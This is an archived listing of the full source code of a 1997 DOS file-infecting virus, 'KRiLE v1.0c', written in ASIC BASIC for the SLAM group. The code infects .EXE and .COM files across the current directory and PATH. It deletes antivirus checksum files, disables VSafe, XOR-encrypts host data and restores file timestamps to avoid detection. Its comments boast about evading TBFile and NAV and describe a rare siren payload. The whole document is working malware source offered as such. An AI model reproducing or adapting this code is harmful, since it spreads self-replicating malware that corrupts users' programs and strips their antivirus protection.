home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / KRILE1C.ZIP / SOURCE.ZIP / KRILE.ASI < prev    next >
Text File  |  1997-12-05  |  12KB  |  580 lines

  1. rem KRiLE v1.0c written by RAiD for [SLAM]
  2. rem An experimental virus, Which *should* get around tbfile and nav
  3. rem if they happen to be resident.
  4. dim virus_data(2940)
  5. dim host_data(2940)
  6. call sub"Criterror!"
  7. randomize
  8. virus_size=5880
  9. virus_size&=5880&
  10. virus_sig$="1234"
  11. exe$="*.exe"
  12. com$="*.com"
  13. killfil1$="anti-vir.dat"
  14. killfil2$="chklist.ms"
  15. killfil3$="chklist.cps"
  16. krsig1$="■KRiLE■ v1.0c - When will u learn AV? (c) by RAiD UsA [SLAM]97"
  17. notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
  18. vsafe_stats=0
  19. gosub vsafe_toggle:
  20. vsafe_stats=cx
  21.  
  22. call sub "exename" hostname$
  23. yourparm$=command$
  24. yourparm$=ltrim$(yourparm$)
  25. yourparm$=rtrim$(yourparm$)
  26. yourparm$=" "+yourparm$
  27.  
  28. gosub chksum_die:
  29. filename$=hostname$
  30. hostsize&=filelen(filename$)
  31. gosub get_attr:
  32. oldattr=newattr
  33. newattr=0
  34. gosub set_attr:
  35. gosub open_file:
  36. bytesize=virus_size
  37. dx=varptr(virus_data(0))
  38. gosub read_file:
  39. gosub close_file:
  40. newattr=oldattr
  41. gosub set_attr:
  42.  
  43. rem Ok, we have an image loaded, let's scan the current directory
  44. rem for use-able hosts. We also deal with any checksum files during
  45. rem this scan.
  46. gosub cur_dir:
  47.  
  48.  
  49. rem Now, were going to find out just how many paths there are
  50. gosub path_search:
  51. rem We are now ready to proceed path infection, after we make one
  52. rem safety check. (this prevents Division By zero errors)
  53. rem Before setting, Ensure loc does *not* equal 0. If by some sad-chance
  54. rem it does, We do *not* even attempt path infection!
  55. target=1
  56. range=loc
  57. if range=0 then
  58. virupath$=""
  59. goto done:
  60. endif
  61. gosub rand_num:
  62. total=a
  63.  
  64. rem If we made it this far, We have determined how many paths
  65. rem There actually are. and how many we will infect. Now, let's
  66. rem decide which ones of that total are to be infected.
  67. exit=0
  68. tally=-1
  69. while exit=0
  70. tally=tally+1
  71. range=loc
  72. gosub rand_num:
  73. n=a
  74. gosub path_infect:
  75. if tally=total then
  76. exit=1
  77. endif
  78. wend
  79.  
  80. done:
  81. target=0
  82. rem We're almost finished. Prepare the host for control passing.
  83. filename$=hostname$
  84. gosub hide_host:
  85. hostsize&=filelen(filename$)
  86. gosub get_attr:
  87. oldattr=newattr
  88. newattr=0
  89. gosub set_attr:
  90. gosub open_file:
  91. gosub get_fdt:
  92. hosttemp&=hostsize&-virus_size&
  93. move_way&=hosttemp&
  94. gosub move_file_pointer:
  95. bytesize=virus_size
  96. dx=varptr(host_data(0))
  97. gosub read_file:
  98. move_way&=0&
  99. gosub move_file_pointer:
  100. gosub cypher_host:
  101. dx=varptr(host_data(0))
  102. bytesize=virus_size
  103. gosub write_file:
  104. gosub set_fdt:
  105. gosub close_file:
  106. gosub strip_garbage:
  107. newattr=oldattr
  108. gosub set_attr:
  109. gosub res_host:
  110. rem Ok, siren anyone?
  111. rem a value of 256 ensures the siren is rare, which means this
  112. rem virus won't be detected right off the bat. No sense calling
  113. rem attention to ourselves too soon. :)
  114. range=256
  115. gosub rand_num:
  116. if a=19 then
  117. gosub siren:
  118. endif
  119.  
  120. call hostname$, yourparm$
  121.  
  122. r=vsafe_stats
  123. vsafe_stats=0
  124. gosub vsafe_toggle:
  125. vsafe_stats=r
  126. filename$=hostname$
  127.  
  128.  
  129. rem Let's make sure we don't accidently infect the host a second
  130. rem time. Happens rarely, but a good safety precaution anyways.
  131. rem Besides, doesn't eat much more code space.
  132. gosub infect_check:
  133. if infected=0 then
  134. gosub lets_infect:
  135. endif
  136.  
  137. rem Check the current directory again, Host might have created
  138. rem some new targets. pkunzip.exe being a good example. Note: This
  139. rem allows my virus to resemble TSR based viruses somewhat. <G>
  140. gosub cur_dir:
  141.  
  142. gosub vsafe_toggle:
  143.  
  144. rem The range was already set at 256, we'll leave it
  145. rem as it is. and get us a number :)
  146. range=256
  147. gosub rand_num:
  148.  
  149. if a=19 then
  150. gosub say_hi:
  151. endif
  152.  
  153. rem The end has been reached, return to operating system or calling
  154. rem program.
  155. end
  156.  
  157. start_virus:
  158. errcode=0
  159. attr=6
  160. kewl=0
  161.  
  162. rem Setup rand-generator range to 4, and decide how many files
  163. rem were going to infect for this run :)
  164. range=2
  165. gosub rand_num:
  166. virii=a
  167.  
  168. rem Ok, decision made, let's infect!
  169.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  170.        WHILE ErrCode = 0
  171.           CALL SUB "GetNameF" FileName$
  172.   filename$=virupath$+filename$
  173.   gosub infect_check:
  174. if infected=0 then
  175. gosub lets_infect:
  176. endif
  177.          CALL SUB "FindNextF" ErrCode
  178.          if kewl=virii then
  179.          errcode=1
  180.          endif
  181.    WEND
  182.  
  183. return
  184.  
  185. Lets_infect:
  186. rem Lets put our virus into the file shall we? :)
  187. gosub hide_host:
  188. hostsize&=filelen(filename$)
  189. gosub get_attr:
  190. oldattr=newattr
  191. newattr=0
  192. gosub set_attr:
  193. gosub open_file:
  194. gosub get_fdt:
  195. bytesize=virus_size
  196. dx=varptr(host_data(0))
  197. gosub read_file:
  198. move_way&=0&
  199. gosub move_file_pointer:
  200. bytesize=virus_size
  201. dx=varptr(virus_data(0))
  202. gosub write_file:
  203. move_way&=hostsize&
  204. gosub move_file_pointer:
  205. gosub cypher_host:
  206. dx=varptr(host_data(0))
  207. bytesize=virus_size
  208. gosub write_file:
  209. gosub set_fdt:
  210. kewl=kewl+1
  211. gosub close_file:
  212. newattr=oldattr
  213. gosub set_attr:
  214. gosub res_host:
  215. return
  216.  
  217. rem miscallenous file i/o routines beyond this point. Boring to  look
  218. rem at.:)
  219.  
  220. get_attr:
  221. AX = &HEX4300
  222. DX = VARPTR(Filename$)
  223. CX = NewAttr
  224. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  225. return
  226.  
  227. set_attr:
  228. AX = &HEX4301
  229. DX = VARPTR(Filename$)
  230. CX = NewAttr
  231. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  232. return
  233.  
  234. vsafe_toggle:
  235. ax=&hexfa02
  236. dx=&hex5945
  237. bx=vsafe_stats
  238. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  239. return
  240.  
  241. get_fdt:
  242. if file_handle>4 then
  243. AX=&HEX5700
  244. BX=FILE_HANDLE
  245. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  246. NEWDATE=CX
  247. NEWTIME=DX
  248. endif
  249. RETURN
  250.  
  251. set_fdt:
  252. if file_handle>4 then
  253. AX=&HEX5701
  254. BX=FILE_HANDLE
  255. CX=NEWDATE
  256. DX=NEWTIME
  257. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  258. endif
  259. RETURN
  260.  
  261. rem DOS int file i/o driven code beyond this point :)
  262.  
  263. rem ax=&hex3d00
  264. rem ax opens file for read in this mode :-)
  265. rem ax=&hex3d01
  266. rem ax opens file for write in this mode :-)
  267. rem ax=&hex3d02
  268. rem ax opens file for read/write access :) hehehe
  269.  
  270. open_file:
  271. AX=&HEX3D02
  272. DX = VARPTR(Filename$)
  273. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  274. file_handle=ax
  275. return
  276.  
  277. write_file:
  278. rem this routine will write selected bytes at whatever current position
  279. rem from whatever buffer i choose into the file.
  280. rem if the routine did not write all data ax will not equal cx upon
  281. rem return from int call.
  282. rem define dx register before calling this routine to point to the
  283. rem memory address of the buffer area you want to write from. like so:
  284. rem dx=varptr(buffer(0))
  285. rem cx is how many bytes to write :)
  286. if file_handle>4 then
  287. ax=&hex4000
  288. bx=file_handle
  289. cx=bytesize
  290. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  291. byteswritten=ax
  292. endif
  293. return
  294.  
  295. read_file:
  296. rem as the name implies, it reads bytes into a buffer. :-)
  297. rem as with write_file, you need to predefine the dx register for the
  298. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  299. rem if you don't, this routine will not work, or will overwrite some
  300. rem other section of memory. And for virus coding, this is very bad! :)
  301. rem cx register is how many bytes to read :)
  302. if file_handle>4 then
  303. ax=&hex3f00
  304. bx=file_handle
  305. cx=bytesize
  306. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  307. bytesread=ax
  308. endif
  309. return
  310.  
  311. close_file:
  312. rem This routine will close the selected file.
  313. rem do not try to close handle 2, very nasty... :-(
  314. if file_handle>4 then
  315. ax=&hex3e00
  316. bx=file_handle
  317. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  318. endif
  319. return
  320.  
  321. move_file_pointer:
  322. rem Moves file pointer from start of file to whereever I wanna go
  323. rem Routine called is patched(hacked) from asilib.lib
  324. method=0
  325. call sub "fseek" file_handle, move_way&, method, errcode
  326. return
  327.  
  328. cypher_host:
  329. y=varptr(host_data(0))
  330. z=y+virus_size
  331. for x=y to z
  332. a=peek(x)
  333. ax=a
  334. bx=x
  335. rem Shrug, asic has no built in XOR routine, so we
  336. rem chat with the CPU ourselves to XOR it :)
  337. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  338. CODE &HEX31, &HEXD8
  339. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  340. rem ENd of cpu-xor chat
  341. poke x,ax
  342. next x
  343. return
  344.  
  345. infect_check:
  346. rem routine checks for files to avoid, size validation and to make
  347. rem sure the file is not already infected. If any of the routines
  348. rem return infected=1 then the rest of the file  i/o does not
  349. rem occur (saves a few miliseconds i/o time)
  350. infected=0
  351. gosub do_not_touch:
  352. if infected=0 then
  353. gosub size_check:
  354. endif
  355. if infected=0 then
  356. gosub prev_check:
  357. endif
  358. return
  359.  
  360. prev_check:
  361. rem Is this file already infected?
  362. gosub get_attr:
  363. newattr=oldattr
  364. newattr=0
  365. gosub set_attr:
  366. sig$="    "
  367. gosub open_file:
  368. move_way&=28
  369. gosub move_file_pointer:
  370. dx=varptr(sig$)
  371. bytesize=4
  372. gosub read_file:
  373. gosub close_file:
  374. newattr=oldattr
  375. gosub set_attr:
  376. if sig$=virus_sig$ then
  377. infected=1
  378. endif
  379. if file_handle<5 then
  380. rem We couldn't open the damn file to check, assume it is indeed
  381. rem infected. and let's not fool with it. :)
  382. infected=1
  383. endif
  384. return
  385.  
  386. strip_garbage:
  387. rem This routine quickly scrapes off the appended data
  388. rem we wrote during the infection process
  389. gosub open_file:
  390. move_way&=hosttemp&
  391. gosub move_file_pointer:
  392. dx=0
  393. bytesize=0
  394. gosub write_file:
  395. gosub set_fdt:
  396. gosub close_file:
  397. return
  398.  
  399. do_not_touch:
  400. rem Make sure the following files are NOT infected or
  401. rem otherwise tampered with.  This routine actually
  402. rem seperates the filename from its path and extension
  403. rem then proceeds to compare it.
  404. a$=filename$
  405. b=len(a$)
  406. b=b-4
  407. b$=left$(a$,b)
  408. b=len(b$)
  409. d=varptr(b$)
  410. c=d+b
  411. e=-1
  412. exit=0
  413. while exit=0
  414. a=peek(c)
  415. e$=chr$(a)
  416. if e$="\" then
  417. exit=1
  418. else
  419. e=e+1
  420. c=c-1
  421. endif
  422. wend
  423. file_name$=right$(b$,e)
  424. file_name$=ucase$(file_name$)
  425. notouch$=ucase$(notouch$)
  426. b=instr(notouch$,file_name$)
  427. if b>0 then
  428. infected=1
  429. endif
  430. return
  431.  
  432. size_check:
  433. rem make sure the target file is larger then our virus
  434. rem if it's not, we must not bother to infect it.
  435. a&=filelen(filename$)
  436. if a&<virus_size& then
  437. rem file is  too small
  438. infected=1
  439. endif
  440. return
  441.  
  442. chksum_die:
  443. rem this kills chksum type files with a few simple calls
  444. rem setting toast to killfil1$ 2 and 3 respectively
  445. rem also cuts down on virus size.
  446. ar$=filename$
  447. rem above code stores original filename
  448. toast$=killfil1$
  449. gosub waste:
  450. toast$=killfil2$
  451. gosub waste:
  452. toast$=killfil3$
  453. gosub waste:
  454. filename$=ar$
  455. return
  456.  
  457. say_hi:
  458. rem say our greeting and return to calling routine.
  459.  
  460. print krsig1$
  461.  
  462. RETURN
  463.  
  464. siren:
  465. rem muahahaha, Siren sounds :-)
  466. siren=1
  467. gosub siren_out:
  468. siren=0
  469. gosub siren_out:
  470. siren=1
  471. gosub siren_out:
  472. siren=0
  473. gosub siren_out:
  474. return
  475.  
  476. siren_out:
  477. rem if were to go up, set siren=1 else
  478. rem set siren=0 to go down :)
  479. for x=1 to 2000
  480. if siren=1 then
  481. z=x
  482. else
  483. z=2000
  484. z=z-x
  485. endif
  486. sound z,1
  487. next x
  488. return
  489.  
  490. cur_dir:
  491. rem routine searches for and infects files in current directory
  492. rem this routine is used 2 times, so I just decided to make it a
  493. rem subroutine to save bytes.
  494. virupath$=""
  495. gosub chksum_die:
  496. proc$=exe$
  497. gosub start_virus:
  498. proc$=com$
  499. gosub start_virus:
  500. return
  501.  
  502. waste:
  503. rem routine called by chksum_die
  504. rem removes all attributes and deletes requested file.
  505. filename$=virupath$
  506. filename$=filename$+toast$
  507. newattr=0
  508. gosub set_attr:
  509. kill filename$
  510. return
  511.  
  512. rand_num:
  513. rem gets us a random number, of the selected range
  514. rem settable with the 'range' value. Saves bytes by only
  515. rem coding this part once and calling it on occasion for various
  516. rem fun things. Muahahaha
  517. a=rnd(0)
  518. a=a mod range
  519. if target=0 then
  520. a=a+1
  521. endif
  522. return
  523.  
  524. path_search:
  525. rem This routine tallys total  paths defined
  526. rem for later random processing.
  527. exit=0
  528. loc=0
  529. while exit=0
  530. call sub "path",loc,virupath$
  531. if virupath$="" then
  532. exit=1
  533. else
  534. loc=loc+1
  535. endif
  536. wend
  537. return
  538.  
  539. path_infect:
  540. rem routine proceeds to infect selected path given via the 'n' variable
  541. rem Notice, another safety check. This routine will abort if the
  542. rem selected path does not exist.
  543.           call sub "path", n, virupath$
  544.           i=LEN(virupath$)
  545.           if i>0 then
  546.           b$=right$(virupath$,1)
  547.         if b$<>"\" then
  548.         virupath$=virupath$+"\"
  549.         endif
  550.         rem Before we infect, trash checksum files
  551.         gosub chksum_die:
  552.         proc$=virupath$+exe$
  553.         gosub start_virus:
  554.         proc$=virupath$+com$
  555.         gosub start_virus:
  556. endif
  557. return
  558.  
  559. hide_host:
  560. rem host_hide module
  561. oldname$=filename$
  562. b=varptr(filename$)
  563. c=len(filename$)
  564. d=b+c
  565. b=d-3
  566. d=d-1
  567. for x=b to d
  568. e=rnd(0)
  569. e=e mod 36
  570. e=e+140
  571. poke x,e
  572. next x
  573. rem Now the filename has been changed, Lets rename it real quick :)
  574. name oldname$ as filename$
  575. return
  576.  
  577. res_host:
  578. name filename$ as oldname$
  579. return
  580.